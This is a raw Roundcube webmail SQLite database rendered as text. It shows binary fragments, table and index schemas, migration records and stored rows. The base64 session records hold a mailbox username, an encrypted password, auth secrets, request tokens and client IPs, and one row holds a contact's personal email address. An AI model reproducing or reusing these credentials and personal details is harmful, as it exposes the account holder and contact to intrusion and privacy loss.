)�lx55�{tablecarddav_addressbookscarddav_addressbookssCREATE TABLE "carddav_addressbooks" (
	id           integer NOT NULL PRIMARY KEY,
	name         TEXT NOT NULL,
	url          TEXT NOT NULL,
	last_updated BIGINT NOT NULL DEFAULT 0,  
	refresh_time INT NOT NULL DEFAULT 3600, 
	sync_token   TEXT NOT NULL DEFAULT '', 

	account_id   integer NOT NULL,
	flags        integer NOT NULL DEFAULT 5, 

	
	FOREIGN KEY(account_id) REFERENCES carddav_accounts(id) ON DELETE CASCADE ON UPDATE CASCADE
)?wS-indexsqlite_autoindex_carddav_accounts_1carddav_accountsw�yS5�5indexcarddav_addressbooks_account_id_idxcarddav_addressbooks^CREATE INDEX carddav_addressbooks_account_id_idx ON carddav_addressbooks(account_id)CpW1indexsqlite_autoindex_carddav_migrations_1carddav_migrationsr�[o11�atablecarddav_migrationscarddav_migrationsmCREATE TABLE "carddav_migrations" (
	id integer NOT NULL PRIMARY KEY,
	filename TEXT NOT NULL,
	processed_at TIME NOT NULL DEFAULT CURRENT_TIMESTAMP,

	UNIQUE(filename)
)�
mK1�%indexcarddav_group_user_group_id_idxcarddav_group_userpCREATE INDEX carddav_group_user_group_id_idx ON carddav_group_user(group_id)�lO1�-indexcarddav_group_user_contact_id_idxcarddav_group_userjCREATE INDEX carddav_group_user_contact_id_idx ON carddav_group_user(contact_id)zkC)�indexcarddav_groups_abook_id_idxcarddav_groupsiCREATE INDEX carddav_groups_abook_id_idx ON carddav_groups(abook_id)�jI/�!indexcarddav_xsubtypes_abook_id_idxcarddav_xsubtypeshCREATE INDEX carddav_xsubtypes_abook_id_idx ON carddav_xsubtypes(abook_id);iO)indexsqlite_autoindex_carddav_groups_2carddav_groupso;hO)indexsqlite_autoindex_carddav_groups_1carddav_groupsn�g))�atablecarddav_groupscarddav_groups`CREATE TABLE "carddav_groups" (
	id       integer NOT NULL PRIMARY KEY,
	abook_id integer NOT NULL,
	name VARCHAR(255) NOT NULL, 
	vcard TEXT,        
	etag VARCHAR(255), 
	uri  VARCHAR(255), 
	cuid VARCHAR(255), 
	
	UNIQUE(uri,abook_id),
	UNIQUE(cuid,abook_id),

	
	FOREIGN KEY(abook_id) REFERENCES carddav_addressbooks(id) ON DELETE CASCADE ON UPDATE CASCADE
)CeW1indexsqlite_autoindex_carddav_group_user_1carddav_group_userl�nd11�tablecarddav_group_usercarddav_group_userkCREATE TABLE carddav_group_user (
	group_id   integer NOT NULL,
	contact_id integer NOT NULL,

	PRIMARY KEY(group_id,contact_id),

	
	FOREIGN KEY(group_id) REFERENCES carddav_groups(id) ON DELETE CASCADE ON UPDATE CASCADE,
	FOREIGN KEY(contact_id) REFERENCES carddav_contacts(id) ON DELETE CASCADE ON UPDATE CASCADE
)A`U/indexsqlite_autoindex_carddav_xsubtypes_1carddav_xsubtypesg�a_//�qtablecarddav_xsubtypescarddav_xsubtypesfCREATE TABLE carddav_xsubtypes (
	id       integer NOT NULL PRIMARY KEY,
	typename VARCHAR(128) NOT NULL,  
	subtype  VARCHAR(128) NOT NULL,  
	abook_id integer NOT NULL,

	
	FOREIGN KEY(abook_id) REFERENCES carddav_addressbooks(id) ON DELETE CASCADE ON UPDATE CASCADE,
	UNIQUE(typename,subtype,abook_id)
)�^G-�indexcarddav_contacts_abook_id_idxcarddav_contactseCREATE INDEX carddav_contacts_abook_id_idx ON carddav_contacts(abook_id)?]S-indexsqlite_autoindex_carddav_contacts_2carddav_contactsd?\S-indexsqlite_autoindex_carddav_contacts_1carddav_contactsc










���~H��|R!
�
�
�
E

��yK���(/30022-accountflags2025-06-23 13:39:34,730021-addressbookflags2025-06-23 13:39:34/=30020-distinctcolumnnames2025-06-23 13:39:34,730019-accountentities32025-06-23 13:39:34,730018-accountentities22025-06-23 13:39:34+530017-accountentities2025-06-23 13:39:344G30016-increasetextfieldlengths2025-04-01 04:11:31/=30015-fixmysqlconstraints2025-04-01 04:11:316K30014-unifytimestampdefaultvalue2025-04-01 04:11:31>[30013-changemysqlcollationscasesensitive2025-04-01 04:11:31/
=30012-fixmysqlconstraints2025-04-01 04:11:313E30011-unifymigrationsidcolumn2025-04-01 04:11:314G30010-increasetextfieldlengths2025-04-01 04:11:31/
=30009-dropauthschemefield2025-04-01 04:11:31(	/30008-unifyindexes2025-04-01 04:11:312C30007-replaceurlplaceholders2025-04-01 04:11:31+530006-rmgroupsnotnull2025-04-01 04:11:313E30005-changemysqlut8toutf8mb42025-04-01 04:11:314G30004-fixtimestampdefaultvalue2025-04-01 04:11:314G30003-fixtimestampdefaultvalue2025-04-01 04:11:314G30002-increasetextfieldlengths2025-04-01 04:11:31&+30001-categories2025-04-01 04:11:31"#30000-dbinit2025-04-01 04:11:31



���M3'�-d76366c4c2ba713bad44cc81636609e72025-05-05 16:08:39103.162.230.8bGFuZ3VhZ2V8czo1OiJlbl9VUyI7aW1hcF9uYW1lc3BhY2V8YTo1OntzOjg6InBlcnNvbmFsIjthOjE6e2k6MDthOjI6e2k6MDtzOjY6IklOQk9YLiI7aToxO3M6MToiLiI7fX1zOjU6Im90aGVyIjtOO3M6Njoic2hhcmVkIjtOO3M6OToicHJlZml4X2luIjtzOjY6IklOQk9YLiI7czoxMDoicHJlZml4X291dCI7czo2OiJJTkJPWC4iO31pbWFwX2RlbGltaXRlcnxzOjE6Ii4iO2ltYXBfbGlzdF9jb25mfGE6Mjp7aTowO3M6NjoiSU5CT1guIjtpOjE7YTowOnt9fXVzZXJfaWR8aToxO3VzZXJuYW1lfHM6MzI6ImluZm9AZ3JlYXNldHJhcC5zdGFnaW5nLWFyZWEueHl6IjtzdG9yYWdlX2hvc3R8czo5OiJsb2NhbGhvc3QiO3N0b3JhZ2VfcG9ydHxpOjE0MztzdG9yYWdlX3NzbHxiOjA7cGFzc3dvcmR8czo5NjoibGRNbis1K0JzVWFuMmF4SldxR2R5L3Q0eG9nekFueTFqUFRxTjE0QUhuYWliKzM0cTB2OEc4R2FiWjRmZjFqS3JmSFZqZ2F4NGVpbE9ZQ3dabi9nOFhHZnZhT1FqRFhvIjtsb2dpbl90aW1lfGk6MTc0NjQ2MDY5MjtTVE9SQUdFX1NQRUNJQUwtVVNFfGI6MTthdXRoX3NlY3JldHxzOjMyOiJ5RGFqSFU5V2RPMFYyR2ZDSWw5QnkxTUJHNUhJblRtVCI7cmVxdWVzdF90b2tlbnxzOjMyOiJjVDUzdlV0S2d2Zmd6OG1JSHNpaXNpSEh3WUJwMTBmdCI7dGFza3xzOjQ6Im1haWwiO3NraW5fY29uZmlnfGE6Nzp7czoxNzoic3VwcG9ydGVkX2xheW91dHMiO2E6MTp7aTowO3M6MTA6IndpZGVzY3JlZW4iO31zOjIyOiJqcXVlcnlfdWlfY29sb3JzX3RoZW1lIjtzOjk6ImJvb3RzdHJhcCI7czoxODoiZW1iZWRfY3NzX2xvY2F0aW9uIjtzOjE3OiIvc3R5bGVzL2VtYmVkLmNzcyI7czoxOToiZWRpdG9yX2Nzc19sb2NhdGlvbiI7czoxNzoiL3N0eWxlcy9lbWJlZC5jc3MiO3M6MTc6ImRhcmtfbW9kZV9zdXBwb3J0IjtiOjE7czoyNjoibWVkaWFfYnJvd3Nlcl9jc3NfbG9jYXRpb24iO3M6NDoibm9uZSI7czoyMToiYWRkaXRpb25hbF9sb2dvX3R5cGVzIjthOjM6e2k6MDtzOjQ6ImRhcmsiO2k6MTtzOjU6InNtYWxsIjtpOjI7czoxMDoic21hbGwtZGFyayI7fX1pbWFwX2hvc3R8czo5OiJsb2NhbGhvc3QiO3BhZ2V8aToxO21ib3h8czo1OiJJTkJPWCI7c29ydF9jb2x8czowOiIiO3NvcnRfb3JkZXJ8czo0OiJERVNDIjtTVE9SQUdFX1RIUkVBRHxhOjM6e2k6MDtzOjEwOiJSRUZFUkVOQ0VTIjtpOjE7czo0OiJSRUZTIjtpOjI7czoxNDoiT1JERVJFRFNVQkpFQ1QiO31TVE9SQUdFX1FVT1RBfGI6MTtTVE9SQUdFX0xJU1QtRVhURU5ERUR8YjoxO3F1b3RhX2Rpc3BsYXl8czo0OiJ0ZXh0IjtsaXN0X2F0dHJpYnxhOjc6e3M6NDoibmFtZSI7czo4OiJtZXNzYWdlcyI7czoyOiJpZCI7czoxMToibWVzc2FnZWxpc3QiO3M6NToiY2xhc3MiO3M6NDI6Imxpc3RpbmcgbWVzc2FnZWxpc3Qgc29ydGhlYWRlciBmaXhlZGhlYWRlciI7czoxNToiYXJpYS1sYWJlbGxlZGJ5IjtzOjIyOiJhcmlhLWxhYmVsLW1lc3NhZ2VsaXN0IjtzOjk6ImRhdGEtbGlzdCI7czoxMjoibWVzc2FnZV9saXN0IjtzOjE0OiJkYXRhLWxhYmVsLW1zZyI7czoxODoiVGhlIGxpc3QgaXMgZW1wdHkuIjtzOjc6ImNvbHVtbnMiO2E6ODp7aTowO3M6NzoidGhyZWFkcyI7aToxO3M6Nzoic3ViamVjdCI7aToyO3M6Njoic3RhdHVzIjtpOjM7czo2OiJmcm9tdG8iO2k6NDtzOjQ6ImRhdGUiO2k6NTtzOjQ6InNpemUiO2k6NjtzOjQ6ImZsYWciO2k6NztzOjEwOiJhdHRhY2htZW50Ijt9fWZvbGRlcnN8YTo1OntzOjU6IklOQk9YIjthOjI6e3M6MzoiY250IjtpOjM7czo2OiJtYXh1aWQiO2k6Mzt9czoxMDoiSU5CT1guc3BhbSI7YToyOntzOjM6ImNudCI7aTowO3M6NjoibWF4dWlkIjtpOjA7fXM6MTA6IklOQk9YLlNlbnQiO2E6Mjp7czozOiJjbnQiO2k6MTtzOjY6Im1heHVpZCI7aToxO31zOjEyOiJJTkJPWC5EcmFmdHMiO2E6Mjp7czozOiJjbnQiO2k6MDtzOjY6Im1heHVpZCI7aTowO31zOjExOiJJTkJPWC5UcmFzaCI7YToyOntzOjM6ImNudCI7aTowO3M6NjoibWF4dWlkIjtpOjA7fX11bnNlZW5fY291bnR8YTo2OntzOjU6IklOQk9YIjtpOjA7czoxMDoiSU5CT1guc3BhbSI7aTowO3M6MTA6IklOQk9YLlNlbnQiO2k6MDtzOjEyOiJJTkJPWC5EcmFmdHMiO2k6MDtzOjExOiJJTkJPWC5UcmFzaCI7aTowO3M6MTM6IklOQk9YLkFyY2hpdmUiO2k6MDt9bGlzdF9tb2Rfc2VxfHM6MToiNSI7YnJvd3Nlcl9jYXBzfGE6NTp7czozOiJwZGYiO3M6MToiMSI7czo1OiJmbGFzaCI7czoxOiIwIjtzOjQ6InRpZmYiO3M6MToiMCI7czo0OiJ3ZWJwIjtzOjE6IjEiO3M6NzoicGdwbWltZSI7czoxOiIwIjt9c2FmZV9tZXNzYWdlc3xhOjM6e3M6NzoiSU5CT1g6MSI7YjowO3M6NzoiSU5CT1g6MyI7YjowO3M6NzoiSU5CT1g6MiI7YjowO313cml0ZWFibGVfYWJvb2t8YjoxO1NUT1JBR0VfQUNMfGI6MDtsYXN0X2NvbXBvc2Vfc2Vzc2lvbnxzOjIzOiIxMzEyODQ4ODg2NjgxOGUwNDEwM2E3NCI7

a����wV=����^:
�
�
�
�
�
w
a/0022-accountflags70021-addressbookflags=0020-distinctcolumnnames70019-accountentities370018-accountentities250017-accountentities!G0016-increasetextfieldlengths=0015-fixmysqlconstraints#K0014-unifytimestampdefaultvalue+[0013-changemysqlcollationscasesensitive=0012-fixmysqlconstraints
 E0011-unifymigrationsidcolumn!G0010-increasetextfieldlengths=0009-dropauthschemefield
/0008-unifyindexes	C0007-replaceurlplaceholders50006-rmgroupsnotnull E0005-changemysqlut8toutf8mb4!G0004-fixtimestampdefaultvalue!G0003-fixtimestampdefaultvalue!G0002-increasetextfieldlengths+0001-categories#	0000-dbinit
��z
)�/!	cPanel CardDAVhttps://127.0.0.1:2080/addressbooks/info@greasetrap.staging-area.xyz/addressbook/hYY1743480677xx^
~~�M3)�}a09415cd632064559ff511bf2f0571ea2025-06-23 17:22:04103.162.230.13bGFuZ3VhZ2V8czo1OiJlbl9VUyI7aW1hcF9uYW1lc3BhY2V8YTo1OntzOjg6InBlcnNvbmFsIjthOjE6e2k6MDthOjI6e2k6MDtzOjY6IklOQk9YLiI7aToxO3M6MToiLiI7fX1zOjU6Im90aGVyIjtOO3M6Njoic2hhcmVkIjtOO3M6OToicHJlZml4X2luIjtzOjY6IklOQk9YLiI7czoxMDoicHJlZml4X291dCI7czo2OiJJTkJPWC4iO31pbWFwX2RlbGltaXRlcnxzOjE6Ii4iO2ltYXBfbGlzdF9jb25mfGE6Mjp7aTowO3M6NjoiSU5CT1guIjtpOjE7YTowOnt9fXVzZXJfaWR8aToxO3VzZXJuYW1lfHM6MzI6ImluZm9AZ3JlYXNldHJhcC5zdGFnaW5nLWFyZWEueHl6IjtzdG9yYWdlX2hvc3R8czo5OiJsb2NhbGhvc3QiO3N0b3JhZ2VfcG9ydHxpOjE0MztzdG9yYWdlX3NzbHxiOjA7cGFzc3dvcmR8czo5NjoiaE1pSk5laVNkeGdZMnR0NFhYaHFKTllJTlN3S25UcUtjUGFEZWE0UEpFTjlCWWdpWnB5OXhoRlY3Z1BmZzN2d0Yxd05VcGdQcVZwbEZTcE1rR1Y0T0VCWS9ua2hKOVdsIjtsb2dpbl90aW1lfGk6MTc1MDY5Njg2NDtTVE9SQUdFX1NQRUNJQUwtVVNFfGI6MTthdXRoX3NlY3JldHxzOjMyOiJIbGJXTmdIMVZuOGhlN3ZNNkJvZGI5NlBWMkhjTVl5eCI7dGFza3xzOjQ6Im1haWwiO3NraW5fY29uZmlnfGE6Nzp7czoxNzoic3VwcG9ydGVkX2xheW91dHMiO2E6MTp7aTowO3M6MTA6IndpZGVzY3JlZW4iO31zOjIyOiJqcXVlcnlfdWlfY29sb3JzX3RoZW1lIjtzOjk6ImJvb3RzdHJhcCI7czoxODoiZW1iZWRfY3NzX2xvY2F0aW9uIjtzOjE3OiIvc3R5bGVzL2VtYmVkLmNzcyI7czoxOToiZWRpdG9yX2Nzc19sb2NhdGlvbiI7czoxNzoiL3N0eWxlcy9lbWJlZC5jc3MiO3M6MTc6ImRhcmtfbW9kZV9zdXBwb3J0IjtiOjE7czoyNjoibWVkaWFfYnJvd3Nlcl9jc3NfbG9jYXRpb24iO3M6NDoibm9uZSI7czoyMToiYWRkaXRpb25hbF9sb2dvX3R5cGVzIjthOjM6e2k6MDtzOjQ6ImRhcmsiO2k6MTtzOjU6InNtYWxsIjtpOjI7czoxMDoic21hbGwtZGFyayI7fX1yZXF1ZXN0X3Rva2VufHM6MzI6IkZvTWt3YjNXMFVDR0xjeEVWN0U2bGwwc09STXJSQmdQIjtpbWFwX2hvc3R8czo5OiJsb2NhbGhvc3QiO3BhZ2V8aToxO21ib3h8czo1OiJJTkJPWCI7c29ydF9jb2x8czowOiIiO3NvcnRfb3JkZXJ8czo0OiJERVNDIjtTVE9SQUdFX1RIUkVBRHxhOjM6e2k6MDtzOjEwOiJSRUZFUkVOQ0VTIjtpOjE7czo0OiJSRUZTIjtpOjI7czoxNDoiT1JERVJFRFNVQkpFQ1QiO31TVE9SQUdFX1FVT1RBfGI6MTtTVE9SQUdFX0xJU1QtRVhURU5ERUR8YjoxO3F1b3RhX2Rpc3BsYXl8czo0OiJ0ZXh0IjtsaXN0X2F0dHJpYnxhOjc6e3M6NDoibmFtZSI7czo4OiJtZXNzYWdlcyI7czoyOiJpZCI7czoxMToibWVzc2FnZWxpc3QiO3M6NToiY2xhc3MiO3M6NDI6Imxpc3RpbmcgbWVzc2FnZWxpc3Qgc29ydGhlYWRlciBmaXhlZGhlYWRlciI7czoxNToiYXJpYS1sYWJlbGxlZGJ5IjtzOjIyOiJhcmlhLWxhYmVsLW1lc3NhZ2VsaXN0IjtzOjk6ImRhdGEtbGlzdCI7czoxMjoibWVzc2FnZV9saXN0IjtzOjE0OiJkYXRhLWxhYmVsLW1zZyI7czoxODoiVGhlIGxpc3QgaXMgZW1wdHkuIjtzOjc6ImNvbHVtbnMiO2E6ODp7aTowO3M6NzoidGhyZWFkcyI7aToxO3M6Nzoic3ViamVjdCI7aToyO3M6Njoic3RhdHVzIjtpOjM7czo2OiJmcm9tdG8iO2k6NDtzOjQ6ImRhdGUiO2k6NTtzOjQ6InNpemUiO2k6NjtzOjQ6ImZsYWciO2k6NztzOjEwOiJhdHRhY2htZW50Ijt9fWZvbGRlcnN8YToxOntzOjU6IklOQk9YIjthOjI6e3M6MzoiY250IjtpOjE3O3M6NjoibWF4dWlkIjtpOjE3O319dW5zZWVuX2NvdW50fGE6Njp7czo1OiJJTkJPWCI7aToxMjtzOjEyOiJJTkJPWC5EcmFmdHMiO2k6MDtzOjEwOiJJTkJPWC5TZW50IjtpOjA7czoxMDoiSU5CT1guc3BhbSI7aTowO3M6MTE6IklOQk9YLlRyYXNoIjtpOjA7czoxMzoiSU5CT1guQXJjaGl2ZSI7aTowO31saXN0X21vZF9zZXF8czoyOiIyMyI7
ff�)S�	cPanel CardDAV%l@%d{ENCRYPTED}2guHIFr6ZQnrlvJXZtFv6g==https://127.0.0.1:2080/addressbooks/info@greasetrap.staging-area.xyz/hYYQ�cPCardDAV
��
		cPCardDAVgreasetrap.staging-area.xyz/info.rcube.db.1748581104000060000001620000151075366460015525 0ustar00SQLite format 3@  &r]&.�@�b�����V[DN.:'
00�MM33�iinfo@greasetrap.staging-area.xyzlocalhost2025-04-01 04:11:312025-05-05 15:58:12en_USa:3:{s:11:"client_hash";s:16:"XFCIw3877gUJKZMJ";s:9:"junk_mbox";s:10:"INBOX.spam";s:15:"namespace_fixed";b:1;}
��-M	info@greasetrap.staging-area.xyzlocalhost


��*	3/2025-04-01 04:11:31Imported Contacts
��		



��F	3/C	2025-04-01 04:11:54Anik.hasan04 2024anik.hasan04.2024@gmail.com
�� 		C	anik.hasan04.2024@gmail.com
��@
	3	

M


2025-04-01 04:11:31info@greasetrap.staging-area.xyz
��		
��$M	info@greasetrap.staging-area.xyz

	�Fc
���
/	��	h4��-�F�~�KtableresponsesresponsesCREATE TABLE responses (
  response_id integer NOT NULL PRIMARY KEY,
  user_id integer NOT NULL
    REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
  changed datetime NOT NULL default '0000-00-00 00:00:00',
  del tinyint NOT NULL default '0',
  name varchar(255) NOT NULL,
  data text NOT NULL,
  is_html tinyint NOT NULL default '0'
)d3!�indexix_identities_emailidentitiesCREATE INDEX ix_identities_email ON identities(email, del)j
7!�	indexix_identities_user_ididentitiesCREATE INDEX ix_identities_user_id ON identities(user_id, del)�u!!�5tableidentitiesidentities
CREATE TABLE identities (
  identity_id integer NOT NULL PRIMARY KEY,
  user_id integer NOT NULL
    REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
  changed datetime NOT NULL default '0000-00-00 00:00:00',
  del tinyint NOT NULL default '0',
  standard tinyint NOT NULL default '0',
  name varchar(128) NOT NULL default '',
  organization varchar(128) default '',
  email varchar(128) NOT NULL default '',
  "reply-to" varchar(128) NOT NULL default '',
  bcc varchar(128) NOT NULL default '',
  signature text NOT NULL default '',
  html_signature tinyint NOT NULL default '0'
)�I3�Oindexix_collected_addresses_user_idcollected_addressesCREATE UNIQUE INDEX ix_collected_addresses_user_id ON collected_addresses(user_id, "type", email)�~
33�#tablecollected_addressescollected_addressesCREATE TABLE collected_addresses (
  address_id integer NOT NULL PRIMARY KEY,
  user_id integer NOT NULL
    REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
  changed datetime NOT NULL default '0000-00-00 00:00:00',
  name varchar(255) NOT NULL default '',
  email varchar(255) NOT NULL,
  "type" integer NOT NULL
)�	O3�1indexix_contactgroupmembers_contact_idcontactgroupmembers
CREATE INDEX ix_contactgroupmembers_contact_id ON contactgroupmembers (contact_id)�33�]tablecontactgroupmemberscontactgroupmembersCREATE TABLE contactgroupmembers (
  contactgroup_id integer NOT NULL
    REFERENCES contactgroups(contactgroup_id) ON DELETE CASCADE ON UPDATE CASCADE,
  contact_id integer NOT NULL
    REFERENCES contacts(contact_id) ON DELETE CASCADE ON UPDATE CASCADE,
  created datetime NOT NULL default '0000-00-00 00:00:00',
  PRIMARY KEY (contactgroup_id, contact_id)
)EY3indexsqlite_autoindex_contactgroupmembers_1contactgroupmembers	v='�indexix_contactgroups_user_idcontactgroupsCREATE INDEX ix_contactgroups_user_id ON contactgroups(user_id, del)�[''�utablecontactgroupscontactgroupsCREATE TABLE contactgroups (
  contactgroup_id integer NOT NULL PRIMARY KEY,
  user_id integer NOT NULL
    REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
  changed datetime NOT NULL default '0000-00-00 00:00:00',
  del tinyint NOT NULL default '0',
  name varchar(128) NOT NULL default ''
)b3�indexix_contacts_user_idcontactsCREATE INDEX ix_contacts_user_id ON contacts(user_id, del)��atablecontactscontactsCREATE TABLE contacts (
  contact_id integer NOT NULL PRIMARY KEY,
  user_id integer NOT NULL
    REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
  changed datetime NOT NULL default '0000-00-00 00:00:00',
  del tinyint NOT NULL default '0',
  name varchar(128) NOT NULL default '',
  email text NOT NULL default '',
  firstname varchar(128) NOT NULL default '',
  surname varchar(128) NOT NULL default '',
  vcard text NOT NULL default '',
  words text NOT NULL default ''
)f/�indexix_users_usernameusersCREATE UNIQUE INDEX ix_users_username ON users(username, mail_host)��tableusersusersCREATE TABLE users (
  user_id integer NOT NULL PRIMARY KEY,
  username varchar(128) NOT NULL default '',
  mail_host varchar(128) NOT NULL default '',
  created datetime NOT NULL default '0000-00-00 00:00:00',
  last_login datetime DEFAULT NULL,
  failed_login datetime DEFAULT NULL,
  failed_login_counter integer DEFAULT NULL,
  language varchar(16),
  preferences text DEFAULT NULL
)

	��	wo	H<������K#�x��8
�
�
�bGG�A'�Qtablefilestorefilestore*CREATE TABLE filestore (
    file_id integer NOT NULL PRIMARY KEY,
    user_id integer NOT NULL
        REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
    context varchar(32) NOT NULL,
    filename varchar(128) NOT NULL,
    mtime integer NOT NULL,
    data text NOT NULL
)m;%�indexix_cache_shared_expirescache_shared CREATE INDEX ix_cache_shared_expires ON cache_shared(expires)�6%%�/tablecache_sharedcache_sharedCREATE TABLE cache_shared (
  cache_key varchar(255) NOT NULL,
  expires datetime DEFAULT NULL,
  data text NOT NULL,
  PRIMARY KEY (cache_key)
)7K%indexsqlite_autoindex_cache_shared_1cache_sharedP-kindexix_cache_expirescacheCREATE INDEX ix_cache_expires ON cache(expires)��tablecachecacheCREATE TABLE cache (
  user_id integer NOT NULL
    REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
  cache_key varchar(128) NOT NULL default '',
  expires datetime DEFAULT NULL,
  data text NOT NULL,
  PRIMARY KEY (user_id, cache_key)
))=indexsqlite_autoindex_cache_1cacheA�-indexix_searches_user_type_namesearchesCREATE UNIQUE INDEX ix_searches_user_type_name ON searches (user_id, type, name)��tablesearchessearchesCREATE TABLE searches (
  search_id integer NOT NULL PRIMARY KEY,
  user_id integer NOT NULL
    REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
  "type" smallint NOT NULL DEFAULT '0',
  name varchar(128) NOT NULL,
  data text NOT NULL
)�C!�/indexix_dictionary_user_languagedictionaryCREATE UNIQUE INDEX ix_dictionary_user_language ON dictionary (user_id, language)�U!!�utabledictionarydictionaryCREATE TABLE dictionary (
  user_id integer DEFAULT NULL
    REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
  language varchar(16) NOT NULL,
  data text NOT NULL
)Y1uindexix_session_changedsessionCREATE INDEX ix_session_changed ON session (changed)�V�tablesessionsessionCREATE TABLE session (
  sess_id varchar(128) NOT NULL PRIMARY KEY,
  changed datetime NOT NULL default '0000-00-00 00:00:00',
  ip varchar(40) NOT NULL default '',
  vars text NOT NULL
)-Aindexsqlite_autoindex_session_1sessionf5�indexix_responses_user_idresponsesCREATE INDEX ix_responses_user_id ON responses(user_id, del),v&?)�indexix_cache_messages_expirescache_messages)CREATE INDEX ix_cache_messages_expires ON cache_messages (expires);%O)indexsqlite_autoindex_cache_messages_1cache_messages(�u$))�%tablecache_messagescache_messages'CREATE TABLE cache_messages (
    user_id integer NOT NULL
        REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
    mailbox varchar(255) NOT NULL,
    uid integer NOT NULL,
    expires datetime DEFAULT NULL,
    data text NOT NULL,
    flags integer NOT NULL DEFAULT '0',
    PRIMARY KEY (user_id, mailbox, uid)
)n#;%�	indexix_cache_thread_expirescache_thread&CREATE INDEX ix_cache_thread_expires ON cache_thread (expires)7"K%indexsqlite_autoindex_cache_thread_1cache_thread%�(!%%�tablecache_threadcache_thread$CREATE TABLE cache_thread (
    user_id integer NOT NULL
        REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
    mailbox varchar(255) NOT NULL,
    expires datetime DEFAULT NULL,
    data text NOT NULL,
    PRIMARY KEY (user_id, mailbox)
)j 9#�indexix_cache_index_expirescache_index#CREATE INDEX ix_cache_index_expires ON cache_index (expires)5I#indexsqlite_autoindex_cache_index_1cache_index"�N##�ctablecache_indexcache_index!CREATE TABLE cache_index (
    user_id integer NOT NULL
        REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
    mailbox varchar(255) NOT NULL,
    expires datetime DEFAULT NULL,
    valid smallint NOT NULL DEFAULT '0',
    data text NOT NULL,
    PRIMARY KEY (user_id, mailbox)
)�_�q
���$Md76366c4c2ba713bad44cc81636609e7#M	09b20d41296d3b296415ece0379c2e5f
���32025-05-05 16:08:393	2025-04-01 05:23:51




ll�	u3�DAV.discover.VEVENT.85527bd12c17e7591ff7e9fc31c8b21a2025-04-01 04:25:57czo0MzoiY2FsZW5kYXJzL2luZm9AZ3JlYXNldHJhcC5zdGFnaW5nLWFyZWEueHl6LyI7
��8	u	DAV.discover.VEVENT.85527bd12c17e7591ff7e9fc31c8b21a
��3	2025-04-01 04:25:57














s���s$;!calendar-caldav-version2014041700&?!calendar-database-version2021102600-!libkolab-version2023111200/!roundcube-version2022081200
�����;calendar-caldav-version?calendar-database-version-libkolab-version/	roundcube-version
����bF
���.
�	2�q��D�v��HA
��I:--�Etablekolab_cache_notekolab_cache_note>CREATE TABLE kolab_cache_note (
  folder_id INTEGER NOT NULL,
  msguid INTEGER NOT NULL,
  uid VARCHAR(512) NOT NULL,
  created DATETIME DEFAULT NULL,
  changed DATETIME DEFAULT NULL,
  data TEXT NOT NULL,
  tags TEXT NOT NULL,
  words TEXT NOT NULL,
  PRIMARY KEY(folder_id,msguid)
)�x733�tablekolab_cache_journalkolab_cache_journal;CREATE TABLE kolab_cache_journal (
  folder_id INTEGER NOT NULL,
  msguid INTEGER NOT NULL,
  uid VARCHAR(512) NOT NULL,
  created DATETIME DEFAULT NULL,
  changed DATETIME DEFAULT NULL,
  data TEXT NOT NULL,
  tags TEXT NOT NULL,
  words TEXT NOT NULL,
  dtstart DATETIME,
  dtend DATETIME,
  PRIMARY KEY(folder_id,msguid)
)p{(5�/indexix_filestore_user_idfilestore+CREATE UNIQUE INDEX ix_filestore_user_id ON filestore(user_id, context, filename)�973�+indexix_journal_uid2msguidkolab_cache_journal=CREATE INDEX ix_journal_uid2msguid ON kolab_cache_journal(folder_id,uid,msguid)E8Y3indexsqlite_autoindex_kolab_cache_journal_1kolab_cache_journal<x61-�indexix_task_uid2msguidkolab_cache_task:CREATE INDEX ix_task_uid2msguid ON kolab_cache_task(folder_id,uid,msguid)?5S-indexsqlite_autoindex_kolab_cache_task_1kolab_cache_task9�o4--�tablekolab_cache_taskkolab_cache_task8CREATE TABLE kolab_cache_task (
  folder_id INTEGER NOT NULL,
  msguid INTEGER NOT NULL,
  uid VARCHAR(512) NOT NULL,
  created DATETIME DEFAULT NULL,
  changed DATETIME DEFAULT NULL,
  data TEXT NOT NULL,
  tags TEXT NOT NULL,
  words TEXT NOT NULL,
  dtstart DATETIME,
  dtend DATETIME,
  PRIMARY KEY(folder_id,msguid)
)|33/�#indexix_event_uid2msguidkolab_cache_event7CREATE INDEX ix_event_uid2msguid ON kolab_cache_event(folder_id,uid,msguid)A2U/indexsqlite_autoindex_kolab_cache_event_1kolab_cache_event6�r1//�tablekolab_cache_eventkolab_cache_event5CREATE TABLE kolab_cache_event (
  folder_id INTEGER NOT NULL,
  msguid INTEGER NOT NULL,
  uid VARCHAR(512) NOT NULL,
  created DATETIME DEFAULT NULL,
  changed DATETIME DEFAULT NULL,
  data TEXT NOT NULL,
  tags TEXT NOT NULL,
  words TEXT NOT NULL,
  dtstart DATETIME,
  dtend DATETIME,
  PRIMARY KEY(folder_id,msguid)
)�073�+indexix_contact_uid2msguidkolab_cache_contact4CREATE INDEX ix_contact_uid2msguid ON kolab_cache_contact(folder_id,uid,msguid)r/+3�indexix_contact_typekolab_cache_contact3CREATE INDEX ix_contact_type ON kolab_cache_contact(folder_id,type)E.Y3indexsqlite_autoindex_kolab_cache_contact_1kolab_cache_contact2�p-33�tablekolab_cache_contactkolab_cache_contact1CREATE TABLE kolab_cache_contact (
  folder_id INTEGER NOT NULL,
  msguid INTEGER NOT NULL,
  uid VARCHAR(512) NOT NULL,
  created DATETIME DEFAULT NULL,
  changed DATETIME DEFAULT NULL,
  data TEXT NOT NULL,
  tags TEXT NOT NULL,
  words TEXT NOT NULL,
  type VARCHAR(32) NOT NULL,
  name VARCHAR(255) NOT NULL,
  firstname VARCHAR(255) NOT NULL,
  surname VARCHAR(255) NOT NULL,
  email VARCHAR(255) NOT NULL,
  PRIMARY KEY(folder_id,msguid)
